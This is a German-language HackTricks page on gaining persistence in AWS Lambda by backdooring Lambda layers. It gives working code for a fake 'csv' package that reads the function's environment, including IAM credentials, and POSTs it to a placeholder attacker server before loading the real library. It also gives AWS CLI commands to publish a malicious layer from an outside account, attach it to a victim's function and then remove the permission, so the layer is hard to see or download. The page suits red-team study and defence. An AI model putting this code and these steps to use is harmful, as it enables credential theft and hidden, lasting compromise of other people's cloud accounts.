AWS - Lambda Layers Persistence

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Lambda Layers

Eine Lambda-Schicht ist ein .zip-Dateiarchiv, das zusätzlichen Code oder anderen Inhalt enthalten kann. Eine Schicht kann Bibliotheken, eine benutzerdefinierte Laufzeit, Daten oder Konfigurationsdateien enthalten.

Es ist möglich, bis zu fünf Schichten pro Funktion einzuschließen. Wenn Sie eine Schicht in eine Funktion einschließen, werden die Inhalte im Verzeichnis /opt in der Ausführungsumgebung extrahiert.

Standardmäßig sind die Schichten, die Sie erstellen, privat für Ihr AWS-Konto. Sie können wählen, eine Schicht mit anderen Konten zu teilen oder die Schicht öffentlich zu machen. Wenn Ihre Funktionen eine Schicht verbrauchen, die von einem anderen Konto veröffentlicht wurde, können Ihre Funktionen die Schichtversion weiterhin verwenden, nachdem sie gelöscht wurde oder nachdem Ihre Berechtigung zum Zugriff auf die Schicht widerrufen wurde. Sie können jedoch keine neue Funktion erstellen oder Funktionen mit einer gelöschten Schichtversion aktualisieren.

Funktionen, die als Container-Image bereitgestellt werden, verwenden keine Schichten. Stattdessen packen Sie Ihre bevorzugte Laufzeit, Bibliotheken und andere Abhängigkeiten in das Container-Image, wenn Sie das Image erstellen.

Python-Ladepfad

Der Ladepfad, den Python in Lambda verwenden wird, ist der folgende:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Überprüfen Sie, wie die zweite und dritte Position von Verzeichnissen belegt sind, in denen Lambda-Layer ihre Dateien entpacken: /opt/python/lib/python3.9/site-packages und /opt/python

Wenn es einem Angreifer gelingt, einen verwendeten Lambda-Layer zu infiltrieren oder einen hinzuzufügen, der bösartigen Code ausführt, wenn eine gemeinsame Bibliothek geladen wird, kann er bei jedem Lambda-Aufruf bösartigen Code ausführen.

Daher sind die Voraussetzungen:

  • Überprüfen Sie die Bibliotheken, die vom Opfercode geladen werden

  • Erstellen Sie eine Proxy-Bibliothek mit Lambda-Layern, die benutzerdefinierten Code ausführen und die ursprüngliche Bibliothek laden wird.

Vorab geladene Bibliotheken

Beim Missbrauch dieser Technik stieß ich auf ein Problem: Einige Bibliotheken sind bereits im Python-Laufzeitumgebung geladen, wenn Ihr Code ausgeführt wird. Ich erwartete, Dinge wie os oder sys zu finden, aber sogar die json-Bibliothek war geladen. Um diese Persistenztechnik zu missbrauchen, muss der Code eine neue Bibliothek laden, die nicht geladen ist, wenn der Code ausgeführt wird.

Mit einem Python-Code wie diesem ist es möglich, die Liste der Bibliotheken abzurufen, die in der Python-Laufzeitumgebung in Lambda vorab geladen sind:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

Und dies ist die Liste (überprüfen Sie, ob Bibliotheken wie os oder json bereits vorhanden sind)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Und dies ist die Liste der Bibliotheken, die Lambda standardmäßig installiert hat: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Lambda Layer Backdooring

In diesem Beispiel nehmen wir an, dass der Zielcode csv importiert. Wir werden den Import der csv-Bibliothek manipulieren.

Dafür werden wir das Verzeichnis csv mit der Datei __init__.py darin in einem Pfad erstellen, der von Lambda geladen wird: /opt/python/lib/python3.9/site-packages Dann, wenn Lambda ausgeführt wird und versucht, csv zu laden, wird unsere __init__.py-Datei geladen und ausgeführt. Diese Datei muss:

  • Unser Payload ausführen

  • Die ursprüngliche csv-Bibliothek laden

Beides können wir mit:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Dann erstellen Sie ein Zip mit diesem Code im Pfad python/lib/python3.9/site-packages/__init__.py und fügen Sie es als Lambda-Layer hinzu.

Sie können diesen Code unter https://github.com/carlospolop/LambdaLayerBackdoor finden.

Das integrierte Payload wird die IAM-Anmeldeinformationen beim ersten Aufruf oder nach einem Zurücksetzen des Lambda-Containers (Änderung des Codes oder kaltes Lambda) an einen Server senden, aber andere Techniken wie die folgende könnten ebenfalls integriert werden:

pageAWS - Steal Lambda Requests

Externe Layer

Beachten Sie, dass es möglich ist, Lambda-Layer von externen Konten zu verwenden. Darüber hinaus kann eine Lambda-Schicht aus einem externen Konto verwendet werden, selbst wenn keine Berechtigungen vorliegen. Beachten Sie auch, dass die maximale Anzahl von Layern, die eine Lambda haben kann, 5 beträgt.

Daher könnte ein Angreifer zur Verbesserung der Vielseitigkeit dieser Technik:

  • Eine vorhandene Schicht des Benutzers infiltrieren (nichts ist extern)

  • Eine Schicht in seinem Konto erstellen, dem Opferkonto Zugriff auf die Verwendung der Schicht geben, die Schicht in den Lambda des Opfers konfigurieren und die Berechtigung entfernen.

  • Der Lambda wird weiterhin in der Lage sein, die Schicht zu verwenden, und das Opfer wird keine einfache Möglichkeit haben, den Code der Schicht herunterzuladen (außer durch Erhalt einer Reverse-Shell innerhalb des Lambdas)

  • Das Opfer wird keine externen Schichten sehen, die mit aws lambda list-layers verwendet werden

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated